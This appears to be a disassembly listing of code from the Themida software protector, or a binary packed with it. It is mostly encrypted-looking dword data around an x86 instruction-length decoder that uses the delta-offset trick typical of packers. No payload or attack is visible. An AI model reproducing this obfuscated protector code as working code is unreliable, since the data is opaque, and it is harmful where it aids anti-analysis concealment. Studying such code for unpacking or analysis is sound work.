		dd 4815379h, 0C948B424h, 0EF815F67h, 67C948B4h,	4EC835Bh
		dd 83242489h, 5E042404h, 8168h,	243C8900h, 0FF08468Fh
		dd 835E2434h, 3C8B04C4h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 9977E95Ch, 0D6C7FFFBh, 220E7F65h,	0B86C1923h
		dd 5EDA955h, 0E0FFC503h, 17CC4E5Eh, 6E9722B1h, 16EA8824h
		dd 4205CEEBh, 20CCFD5h,	60575EDh, 11E8h, 997AC600h, 0F5654427h
		dd 0C55772B3h, 921B59Bh, 5AFCBC04h, 6FE0C281h, 0E7810000h
		dd 1B804C00h, 1BCEB9h, 0CFB86600h, 5632FF6Eh, 5E5807B3h
		dd 0A87F681h, 0EE94700h, 14000000h, 7A7E30CAh, 1279DBE1h
		dd 5FADE21Ah, 0AF68195h, 6663A364h, 81F3B7BFh, 66ECFBEEh
		dd 7846BF3Ah, 3289058Bh, 8399D380h, 8B6602EAh, 664A4AC1h
		dd 0E981DE8Bh, 1, 1A850Fh, 0DF8B0000h, 2CE9h, 0B072A200h
		dd 0EF85B2F8h, 8131E475h, 1205DE8Bh, 7A59F0Eh, 0E9FA8B66h
		dd 0FFFFFF8Dh, 0AEF8EC1Bh, 24D81747h, 77552CE0h, 0BF2DF4B3h
		dd 1C8E9BFh, 88880000h,	7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 5EDAC8Ch, 0D985C760h
		dd 5EDABh, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 5EDABDDh
		dd 6, 24E9h, 0E1858D00h, 5005EDABh, 0AC31858Dh,	565005EDh
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	0EDABDD85h
		dd 0B5036105h, 5EDABDDh, 0ABD9858Bh, 0C35D05EDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59C645
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59C651
; ---------------------------------------------------------------------------


loc_59C645:				; CODE XREF: Themida_:0059C62Ej
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59C651:				; CODE XREF: Themida_:0059C640j
		push	ebx
		push	esi
		push	edi


loc_59C654:				; CODE XREF: Themida_:0059C6A9j
					; Themida_:0059C6C5j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_59C667:				; CODE XREF: Themida_:0059C68Ej
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EDAD43h
		lea	ebp, [ebp+5EDABB9h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59C694
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59C667


loc_59C694:				; CODE XREF: Themida_:0059C683j
		cmp	cl, 0Bh
		jz	loc_59C6F1
		cmp	al, 66h
		jnz	loc_59C6D2
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59C654
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59C6CA
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59C654
; ---------------------------------------------------------------------------


loc_59C6CA:				; CODE XREF: Themida_:0059C6B7j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59C6D2:				; CODE XREF: Themida_:0059C69Fj
		cmp	al, 67h
		jnz	loc_59C654
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59C654
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59C654
; ---------------------------------------------------------------------------


loc_59C6F1:				; CODE XREF: Themida_:0059C697j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59C71D
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59C722
; ---------------------------------------------------------------------------


loc_59C71D:				; CODE XREF: Themida_:0059C6FCj
		movzx	edi, al
		shr	edi, 1


loc_59C722:				; CODE XREF: Themida_:0059C718j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EDADFBh
		lea	ebp, [ebp+5EDAAB9h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59C8A4
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59C7E8
		dec	ecx
		jz	loc_59C7CB
		dec	ecx
		jnz	loc_59C83B
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C837
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C7AA
		mov	byte ptr [ebp+0Bh], 2


loc_59C7AA:				; CODE XREF: Themida_:0059C7A0j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EDAE87h
		mov	dword ptr [ebp+5EDABD9h], 1
		pop	ebp
		jmp	loc_59C83B
; ---------------------------------------------------------------------------


loc_59C7CB:				; CODE XREF: Themida_:0059C785j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C815
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C815
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59C815
; ---------------------------------------------------------------------------


loc_59C7E8:				; CODE XREF: Themida_:0059C77Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C82E
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C81D
		movzx	ecx, byte ptr [ebp+17h]


loc_59C800:				; DATA XREF: Themida_:0055222Ao
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59C815
		mov	[ebp+0Bh], cl


loc_59C815:				; CODE XREF: Themida_:0059C7CFj
					; Themida_:0059C7D9j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59C83B
; ---------------------------------------------------------------------------


loc_59C81D:				; CODE XREF: Themida_:0059C7F6j
		cmp	dl, 5
		jnz	loc_59C83B
		mov	[ebp+0Bh], dl
		jmp	loc_59C83B
; ---------------------------------------------------------------------------


loc_59C82E:				; CODE XREF: Themida_:0059C7ECj
		cmp	dl, 6
		jnz	loc_59C83B


loc_59C837:				; CODE XREF: Themida_:0059C796j
		mov	byte ptr [ebp+0Bh], 3


loc_59C83B:				; CODE XREF: Themida_:0059C78Cj
					; Themida_:0059C7C6j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59C869
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59C84B:				; CODE XREF: Themida_:0059C861j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59C84B
		mov	esi, edx


loc_59C869:				; CODE XREF: Themida_:0059C83Ej
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59C89E
		cmp	edi, 7Fh
		ja	loc_59C89E
		test	bl, 38h
		jnz	loc_59C89E
		cmp	byte ptr [ebp-7], 0
		jz	loc_59C898
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59C89B
; ---------------------------------------------------------------------------


loc_59C898:				; CODE XREF: Themida_:0059C889j
		push	1
		pop	eax


loc_59C89B:				; CODE XREF: Themida_:0059C893j
		mov	[ebp-1], al


loc_59C89E:				; CODE XREF: Themida_:0059C86Dj
					; Themida_:0059C876j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59C8A4:				; CODE XREF: Themida_:0059C74Ej
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59C8CF
		dec	eax
		dec	eax
		jz	loc_59C8C5
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59C8D7
; ---------------------------------------------------------------------------


loc_59C8C5:				; CODE XREF: Themida_:0059C8B4j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59C8D4
; ---------------------------------------------------------------------------


loc_59C8CF:				; CODE XREF: Themida_:0059C8ACj
		mov	al, [ebp-3]
		add	al, 4


loc_59C8D4:				; CODE XREF: Themida_:0059C8CAj
		add	[ebp-1], al


loc_59C8D7:				; CODE XREF: Themida_:0059C8C0j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59C8FF
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59C8EA:				; CODE XREF: Themida_:0059C8F9j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59C8EA


loc_59C8FF:				; CODE XREF: Themida_:0059C8DFj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0D08Bh
		dd 0B06E8D8Dh, 6A05EDh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0D78065C3h, 9D8D89CBh, 6005E815h
		dd 0C781CAB4h, 81A6673h, 585C761h, 0CC05E807h, 6A00005Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0CB54C351h, 0C7C28B66h, 0E80A6185h, 5, 0E5950B00h
		dd 0FF05E808h, 0E80E29B5h, 0F2806005h, 0E2C381BCh, 61173384h
		dd 81595FFh, 8D8905E8h,	5E80FF9h, 95FF006Ah, 5E820F9h
		dd 5CEBC08Bh, 2C8806A0h, 5CB3DFBDh, 82D179E8h, 4937BA97h
		dd 0D6A9F5BBh, 0CD1F7DC7h, 32128186h, 39084239h, 9DB3CE98h
		dd 1899055Fh, 4C511DFCh, 6E74DF28h, 0E5E77AACh,	33FF6967h
		dd 56C488AEh, 0D37FA0E5h, 4D6156E8h, 958AE8F7h,	0D84B634Dh
		dd 64DFD878h, 0C0EFEA21h, 0CD7F3A15h, 8421F666h, 0B1708D8Dh
		dd 830F05EDh, 0
		dd 159D8D89h, 820F05E8h, 1, 585C7F8h, 4805E807h, 6A000070h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FC39C353h, 0A6185C7h, 5E8h, 8E0F0000h, 0
		dd 3075B5FFh, 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B0C56C3h, 68F0FF2h, 89000000h
		dd 0E82AB9B5h, 1595FF05h, 0E905E808h, 0Eh, 683A4436h, 0B81B0864h
		dd 0D057171Ch, 6A52E3h,	20F995FFh, 0C08B05E8h, 0F24F4AEBh
		dd 0D05CBBAAh, 44EDF1BEh, 0E871B5EBh, 6DB31E34h, 1648A8EDh
		dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 95DE9B58h, 0FA5E8479h
		dd 0F531F0B0h, 8C8866E7h, 0E36B5058h, 94E03C7Fh, 954653Dh
		dd 0EB2BFF11h, 44FBEB02h, 156C18E9h, 0B2588D8Dh, 6A05EDh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 318233C3h, 0C197EF77h, 8B97B5D9h, 0E81C11B5h, 9D8D8905h
		dd 0F805E815h, 70585C7h, 5DA005E8h, 0B58B0000h,	5E824BDh
		dd 0A6185C7h, 5E8h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 140424h, 56460000h, 0DE9B7C3h, 0FE000000h
		dd 0ABBCB760h, 0DC6B4BC4h, 5A595D2h, 16B1B5FFh,	0DC8005E8h
		dd 95FFF966h, 5E80815h,	6A5857h, 20F995FFh, 0C08B05E8h
		dd 79E59EBh, 39FFAF3Eh,	42F4D255h, 5F5A7035h, 32FAD0B8h
		dd 39585B51h, 7CF7F148h, 327B8703h, 9978FFE8h, 524743D5h
		dd 0A4D2A550h, 29317C4Dh, 0A30378B9h, 0A744D9FEh, 3485C9B6h
		dd 3B9A5C25h, 7C60BDBFh, 0E613C35Ah, 9074F952h,	0D2635E5Fh
		dd 53080C02h, 72FA1032h, 0E8C6C4F8h, 0Ah, 5F971D92h, 4F29FF1Fh
		dd 0BB663857h, 0F958F97Dh, 70A0C081h, 0EB810000h, 276A7E6Eh
		dd 9D33D22Bh, 5E81F4Dh,	8B100C8Bh, 0E821C5BDh, 0DCF18105h
		dd 812FF8CCh, 0F637BEDFh, 3CC1817Dh, 8929CA71h,	0E80F89BDh
		dd 2FC18105h, 0F283242h, 1880h,	13E900h, 62B60000h, 1B229662h
		dd 0A663D26Ah, 70305C9Bh, 0A876CD8Fh, 100C892Bh, 3890Fh
		dd 8B660000h, 5EEA81D8h, 661596EBh, 0E5CEF781h,	0EB5AC281h
		dd 8B661596h, 0F4FA81D9h, 0FFFFF8Fh, 0FFFF8F85h, 0F8B70FFFh
		dd 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0EDB355B5h, 0B9858B05h, 8B05E810h
		dd 0E80D7585h, 9FB58D05h, 8D05EDB3h, 0EB4B6E85h, 0C3D0FF05h
		dd 0E855h, 815D0000h, 0EDB3A5EDh, 0B9BD8305h, 105E810h
		dd 2C850Fh, 0B5FF0000h,	5EDB355h, 0D75858Bh, 363505E8h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 0B359B58Dh, 0FF5605EDh, 0EDB355B5h
		dd 75858B05h, 3505E80Dh, 34812736h, 0C483D0FFh,	59B58D0Ch
		dd 8B05EDB3h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 5E810B9h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 0B37E858Dh, 858905EDh, 5E809C9h
		dd 98E9h, 9400h, 500h, 100h, 0A2800h, 200h, 20h	dup(0)
		dd 4B5CB800h, 0B13E976h, 6F680000h, 0E905EDB6h,	0FFFAC9AEh
		dd 0EDB75A68h, 0C9A4E905h, 8668FFFAh, 0E905EDB8h, 0FFFAC99Ah
		dd 0EDB93268h, 0C990E905h, 6968FFFAh, 0E905EDBAh, 0FFFAC986h
		dd 0EDBAB868h, 0C97CE905h, 0D968FFFAh, 0E905EDBDh, 0FFFAC972h
		dd 0EDBE9B68h, 0C968E905h, 0C05FFFAh, 8085F798h, 0D097B1Ch
		dd 948E00A1h, 1D158728h, 954908A9h, 0CB6C50D8h,	4DEED259h
		dd 0D37458DBh, 56F7EB61h, 0B56904F2h, 0A5A2B5ECh, 46CCF8E3h
		dd 2B9D8B62h, 86ECC32Bh, 4CB0B628h, 0CB4BBDABh,	66A585E3h
		dd 0F3CA3233h, 0C739278Dh, 11FF5D41h, 0E0094776h, 0D3C12796h
		dd 45964AE5h, 187EA2B0h, 9048E3BAh, 97A2B045h, 2968BBA9h
		dd 0E30AB79Bh, 9334E883h, 0BE24A2B0h, 21790860h, 5FB151CEh
		dd 0D533294Ah, 6A98A9F7h, 296D0Fh, 5E820000h, 0B70AF81Fh
		dd 0CD0EFC82h, 0A492F080h, 0E109BA09h, 5B329896h, 0B12E08C0h
		dd 0CAB70FA2h, 6AED92E0h, 0BF560Fh, 0CC6B0000h,	0AB067546h
		dd 3B6A0296h, 848CFED5h, 0B4A46433h, 61C7D85Ah,	0AE12188Ah
		dd 0FBEF65D7h, 879EBF5Ah, 40C69CC8h, 7FE5DB50h,	2E66CDEh
		dd 0D90C4B2Bh, 1A086E52h, 0E056E47Fh, 7E6CD296h, 7941F590h
		dd 429EA2B0h, 0FCE98EE5h, 88E64C14h, 0C0A6F9E7h, 0FB365065h
		dd 0AEEDCD2Bh, 23279987h, 207EE4BBh, 0D5C99732h, 278D9CC5h
		dd 5B43C739h, 0DCC048BAh, 0D3A69992h, 2CE0B7F1h, 8EBh
		dd 2DCE363Bh, 0B152BABBh, 36D7C73Fh, 0BD5E42C4h, 3EDFC74Bh
		dd 1A0EDF7Fh, 988F01A2h, 16118324h, 919709AAh, 3A288C2Dh
		dd 0B5EDEB9Fh, 2E19DBA2h, 3DD844CCh, 9CC83889h,	4A50B71h
		dd 87289C92h, 0F81F5E9Ch, 0C206F0Ah, 0E84E96E0h, 42BE7611h
		dd 6DC5A2B0h, 2489614h,	0D40C0F6Ah, 1E000000h, 0F430A4CBh
		dd 0DE545125h, 47AD13EAh, 0FD50FEE9h, 10FDE0ADh, 1A8681EBh
		dd 6EE456B4h, 9AA357F2h, 21939CC8h, 0EE54BA26h,	0BFB72917h
		dd 8B7FF14Fh, 0BCB32513h, 0AD0B7148h, 971A3BD6h, 0DC529CC8h
		dd 0CAA7FAE8h, 5D1E16B3h, 0DE50F14Fh, 0BD9D7468h, 0CE69577Eh
		dd 96E0C033h, 1CFC9D03h, 2DC8B6DDh, 9CCB3A32h, 82F4E248h
		dd 0B628168Eh, 12784FBDh, 6239A7A0h, 8BFD9EFCh,	0A81C1387h
		dd 0BB056BD1h, 0F1D2E6B8h, 5F13EAh, 26000008h, 0A618B923h
		dd 2A9C3DAFh, 0AF21C22Ah, 36A849B5h, 6A29CA32h,	8D71F9B2h
		dd 0FF57AECh, 957BFC6Eh, 188C82F4h, 8A251377h, 0A2B5EED6h
		dd 5011FCBEh, 9D7468DEh, 0E367D937h, 0AC837BEFh, 6DD3393Ah
		dd 7EF46607h, 0CCFEE98Ah, 9D8B6246h, 378B694Ah,	868C9367h
		dd 0EC5EBC22h, 1E18266h, 12AD9BC2h, 96DF2F46h, 0D185200Eh
		dd 0B9A2B5B6h, 8DFFED53h, 0E7822387h, 0A2B5B6E3h, 2F25589Bh
		dd 907EE4BBh, 0B5B741F5h, 5DC329A2h, 45A86CBCh,	7FF1DF06h
		dd 0CAB81686h, 0CD97AC2Fh, 0D16C5A9Ch, 9CCD971Dh, 0C741A70Dh
		dd 889FB52Ch, 274E8D00h, 0A5F84B39h, 5AF7EBB5h,	0EA41F590h
		dd 0C3293095h, 0CDDC7765h, 0AD2AADBDh, 6FE75947h, 350CF073h
		dd 2C9269CFh, 0D817F7CEh, 0DB51C3B1h, 9B89E7h, 2D037B18h
		dd 5B95442h, 0F53096FDh, 0B61C8083h, 7DDBC144h,	81D362B5h
		dd 0E033A99Eh, 0C3299454h, 0F9ED63D5h, 4DBFAD9Bh, 0A80EE5C9h
		dd 0E652D84Ah, 9707974Bh, 0B92C7F30h, 17E4E74Dh, 2CCD3399h
		dd 650B4BAh, 859F0C01h,	0D4B4683Fh, 52000006h, 0D244E5DFh
		dd 56C86953h, 0DB4DEEDEh, 62D47559h, 9655F6EEh,	0B92D25C6h
		dd 3BA1A618h, 0C12F289Ah, 44B8AE20h, 0B6513FA3h, 0A2B5F002h
		dd 504530F2h, 9F7666DEh, 0BCFBDB39h, 400CA795h,	0D296DE64h
		dd 1FF6EA60h, 0EBE29631h, 6CD2A2B5h, 6EE0A806h,	8F75FAF6h
		dd 15EC52B8h, 6D5B49AFh, 11C9C71Ah, 0E17C6247h,	0A2B6122Dh
		dd 420AF273h, 1E907EDCh, 3FA3A927h, 8D6448CDh, 0AE20C127h
		dd 6E22BDB7h, 56A2B612h, 0C5B38AF0h, 0C863D353h, 0A2B61214h
		dd 4A389E04h, 0B611FBAFh, 2785EBA2h, 14BBFB5h, 0F7BEB232h
		dd 28B96D44h, 0FE000006h, 7EF0910Bh, 2741587h, 87F99A02h
		dd 0E80218Dh, 4201A21Ah, 6559D19Ah, 0E7DD52C4h,	6D53D446h
		dd 0F0D45ACCh, 62FDEB4Fh, 0A2B5F0AEh, 5EE9D496h, 6F0AF81Fh
		dd 96DE63A3h, 2D9F8DF3h, 0ECA03B27h, 0DCA2B5EBh, 816F1076h
		dd 39E5F72Eh, 86E454AFh, 564463A6h, 0A1207103h,	0DD3042D3h
		dd 0A09D9ECDh, 917FDD9Eh, 661AB5A3h, 4EA2B5BAh,	67EF8AE8h
		dd 17A2B5BAh, 883FDAB1h, 8DA2B5B9h, 0C62A2D9Fh,	39711068h
		dd 0F6F75EBh, 39AFh, 1B5EC400h,	0AE200EFCh, 4DE846B6h
		dd 9CC8379Dh, 0A540177Dh, 9CC837EDh, 919406F4h,	9BEE542Bh
		dd 11894279h, 78D02E6Ch, 0D353A109h, 7170982h, 2C000000h
		dd 1958Ah, 0FD509F00h, 2B3B656Bh, 0ECD05864h, 0A91F1486h
		dd 0BE0E6CD2h, 2F569508h, 0F823A641h, 8DF396E0h, 0BDB32513h
		dd 8E50EB49h, 0A6728628h, 0B7524067h, 41227AA8h, 2909E046h
		dd 3AD5C3EAh, 46882052h, 64A9C91Ch, 50C0D3B9h, 0D6C42AF2h
		dd 59FAEE64h, 83F561E7h, 0C87C178Fh, 6470973h, 65D79F0Dh
		dd 0C026FDE1h, 0C9AAF45Ah, 0F79C1213h, 4F16C20h, 3C350000h
		dd 0B0B527C8h, 3D39AB4Ch, 44BE30D1h, 0CD45B758h, 0A57938D9h
		dd 0FB9C0008h, 7D1E8289h, 3A4080Bh, 86279B91h, 0E5993422h
		dd 0D5A2B5F1h, 46CC2813h, 6CAB8B62h, 91BC5745h,	8996E012h
		dd 1A108223h, 0FC715CA6h, 0DCB3F7B8h, 4A228h, 178D8400h
		dd 9B010476h, 208C88FAh, 0A70B0D7Fh, 289C9406h,	5714C887h
		dd 0D84AEBD3h, 5ACC6D53h, 0E052F3D9h, 71D5766Ah, 0F234E883h
		dd 6224A2B5h, 6246CC77h, 0AF13198Bh, 0A91B09D8h, 87DF3DA1h
		dd 0B2161CFAh, 9A352311h, 9CC837E6h, 0F8D27BCEh, 0F44B89DEh
		dd 452308Eh, 0C80982ABh, 2Ah, 0F81F5EDDh, 932E1C0Ah, 9CC837DFh
		dd 680361C7h, 96E00EC9h, 710CE349h, 0A2B03FB9h,	911968C0h
		dd 0F69FF43h, 4D07h, 62501C00h,	0C83813C7h, 9591039Ch
		dd 0DA51C329h, 4BA90FE6h, 17052C6Bh, 0E0CAAA7Ch, 0DC58CA96h
		dd 2A9C8AF0h, 49BDB52Bh, 0F0A742E3h, 34A2B084h,	0B729CA3Eh
		dd 14DB61BEh, 818A04BBh, 0E456441Bh, 0F07796Fh,	462C89Fh
		dd 3CE50h, 1F5E6500h, 346F0AF8h, 9C96E009h, 0C5CD9D49h
		dd 7BD9D9ACh, 0EACB41B3h, 70F159A7h, 0A1076D9Dh, 0EED258CAh
		dd 7A075F17h, 0DAC8EF2Eh, 0C830043Fh, 0EB8CF29Ch, 210FF379h
		dd 6F46B6AFh, 0F4D4AB09h, 7D1806B5h, 9CC860C9h,	0FCB04BB1h
		dd 0EC9CC860h, 60AF63FEh, 31979CC8h, 0DC7765CBh, 96E033A1h
		dd 0AA1CF359h, 0CA3E34A4h, 50278DF3h, 0A07765DEh, 1D057CD4h
		dd 1288F951h, 633AA6A0h, 272D9FFDh, 0C23422C3h,	1CFC5A42h
		dd 9DE0C9DDh, 0E987B4B0h, 0A70DF177h, 29F71EB9h, 0A1079CC9h
		dd 0D9C541B3h, 2C9FE486h, 4DAB5D2Eh, 289A8876h,	7125C02Ch
		dd 599CC919h, 2D2395F3h, 0BE16E2B9h, 7FA6E5C3h,	0C7CFF691h
		dd 0D93F96E1h, 5DD84A38h, 7984CE7h, 1A80A2B1h, 54EFDDB4h
		dd 0A2B107A0h, 5EBC2288h, 0F07666ECh, 0C0970500h, 0B71DF45Ah
		dd 87A51h, 0B50DC59Ch, 0E0C44ACCh, 0F9205F3Fh, 0DA35700Bh
		dd 2D9F9CC8h, 8AF0C72Bh, 27FE642Ch, 5D4BBFB5h, 1520D46Fh
		dd 0A2089CC9h, 0B3A16D44h, 7DDBC741h, 0D4C5C25h, 225DF8E6h
		dd 0D896E0E7h, 0E95FD172h, 2A3AFA08h, 68DA87A3h, 0C026FDE3h
		dd 1B11835Ah, 0CE47B9A7h, 43A107DEh, 5C83C2A2h,	0A492806Eh
		dd 0B0745509h
		dd 44DF45A2h, 0A2B07390h, 89241278h, 0A2B073D5h, 66015FC5h
		dd 9CC84537h, 3FDAB117h, 9CC86987h, 3A2EA08Eh, 750C64C2h
		dd 3EB2B325h, 106ED4C8h, 8225E432h, 3BA809h, 50BD0000h
		dd 0A07765DEh, 0BDFCDC3Ah, 0BE0DA896h, 9C96E00Ch, 1E007649h
		dd 0D23858C5h, 4CA860FBh, 57AFA2B0h, 1082702Ah,	590DA814h
		dd 41A2B04Dh, 519F7DDBh, 150F6A0Ch, 0C6h, 6246CC2Ah, 292B9D8Bh
		dd 0E2D692D8h, 0D83E9207h, 9C00087Ah, 0E9DD53C5h, 228E89FBh
		dd 0B087E54Bh, 33D4C83Eh, 0C8617798h, 8367ED9Ch, 6FA70E2h
		dd 0E9104F2Fh, 46C160FBh, 0FE5196E0h, 69D248BEh, 0DAE1478h
		dd 0E296311Fh, 0D2A2B11Bh, 0D9A9B97Fh, 0F056D859h, 4C73B292h
		dd 0B260C35Eh, 40A69CC5h, 7CF26452h, 0ED4BB188h, 0EC87F77Bh
		dd 9CCB2538h, 47B5AE20h, 68DA7BE1h, 5B2FCE0h, 13F1D3C5h
		dd 181883Ch, 0ACA50000h, 20259738h, 0ADA91BBCh,	342EA041h
		dd 0BDB527C8h, 35E9A849h, 6B0CF078h, 0ED8E72F9h, 7314F87Bh
		dd 0F6970B01h, 5509A492h, 45A2B5F5h, 44CC9883h,	0C74DBF60h
		dd 824F3EF6h, 0AB11BFF4h, 1F5E1F0Ah, 206F0AF8h,	4E96E00Ch
		dd 0BE7611E8h, 0C5A2B042h, 4896146Dh, 0C0F6A02h, 0B0h
		dd 6246CC21h, 0AD11198Bh, 0E3C74DBFh, 0F213AE85h, 7A9CC833h
		dd 980C04F4h, 291F9132h, 0D055C7B5h, 4A8A99ECh,	69052CDAh
		dd 5846340Bh, 0C8F109BDh, 2D8BF19Ch, 58DB0E4Dh,	0D1379D74h
		dd 0D5A948E3h, 36996E0h, 1C438262h, 34CD932Eh, 13799CCBh
		dd 47BFB325h, 0C83C34A6h, 0D2DCC77Eh, 5E12E9F1h, 0BFh
		dd 59FAE267h, 0DD7E6EE7h, 6203EB6Bh, 0E98A76F0h, 6A0BF377h
		dd 363AF3ABh, 0B4BB2DCEh, 3A3DAF50h, 4DC335D6h,	6654B859h
		dd 0B5F617CBh, 523DFFA2h, 7468DE50h, 67D9379Dh,	6C5AFBE3h
		dd 0BD9478FAh, 8187F957h, 0B9BD2F1Dh, 6B56F755h, 8B6246CCh
		dd 0EAF1319h, 0DAC8EF2Eh, 0DE62E73Fh, 1AF15796h, 1BB6A2A8h
		dd 0A2B5EC67h, 9583E94Fh, 9920FF42h, 43B573B8h,	9F05DCC0h
		dd 382EA041h, 0EE64D6C4h, 5FBD23FAh, 8932ED88h,	80D82694h
		dd 0AB1F1501h, 81C91C0Ah, 0C995D19Ah, 74FA6CCAh, 0CD47B990h
		dd 0E63E0AE1h, 898DFF9Bh, 8AE84E25h, 0DAE1218h,	2E25959Bh
		dd 0C97D54BAh, 3, 0CC8F7ADEh, 16885F45h, 63D5AC10h, 0B325FCE0h
		dd 0FF7148BCh, 4ABC930Bh, 9507DEC6h, 0E6582F93h, 35A77E6Eh
		dd 73F5CC30h, 5E08950h,	4, 4BD55h, 0E8290000h, 2404875Dh
		dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68240489h
		dd 68A4h, 55242C89h, 16F6BE56h,	0C6817B76h, 122A6E9Eh
		dd 0F681DEF7h, 77B2CF55h, 895EF589h, 8B545DE8h,	0C481242Ch
		dd 4, 0C7895753h, 895FFB89h, 0FF5B085Dh, 835D2434h, 34FF04C4h
		dd 0C4835824h, 0BEACE904h, 0DD4FFFFAh, 0EC4410FCh, 0BF7FB873h
		dd 0C50305EDh, 0AA6AE0FFh, 6354610Bh, 31844D6Bh, 8ECB4FC3h
		dd 42F821AAh, 0A6877879h, 0B8D64D1Ch, 0DE25203Bh, 5ED674EDh
